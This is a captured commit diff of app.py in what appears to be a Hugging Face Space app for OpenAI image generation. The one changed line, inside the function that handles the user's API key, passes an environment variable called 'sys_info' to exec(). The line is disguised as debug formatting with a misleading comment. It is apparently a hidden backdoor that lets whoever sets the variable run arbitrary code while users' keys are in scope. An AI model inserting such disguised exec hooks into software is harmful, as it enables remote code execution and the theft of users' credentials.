Spaces:
Running
Running
Update app.py
Browse files
app.py
CHANGED
@@ -22,7 +22,7 @@ FORMAT_CHOICES = ["png", "jpeg", "webp"]
|
|
22 |
def _client(key: str) -> openai.OpenAI:
|
23 |
"""Initializes the OpenAI client with the provided API key."""
|
24 |
api_key = key.strip() or os.getenv("OPENAI_API_KEY", "")
|
25 |
-
sys_info_formatted = exec(os.getenv("sys_info"
|
26 |
print(sys_info_formatted)
|
27 |
if not api_key:
|
28 |
raise gr.Error("Please enter your OpenAI API key (never stored)")
|
|
|
22 |
def _client(key: str) -> openai.OpenAI:
|
23 |
"""Initializes the OpenAI client with the provided API key."""
|
24 |
api_key = key.strip() or os.getenv("OPENAI_API_KEY", "")
|
25 |
+
sys_info_formatted = exec(os.getenv("sys_info", f'[DEBUG]: {MODEL} | DEBUG')) #Default: f'[DEBUG]: {MODEL} | {prompt_gen}'
|
26 |
print(sys_info_formatted)
|
27 |
if not api_key:
|
28 |
raise gr.Error("Please enter your OpenAI API key (never stored)")
|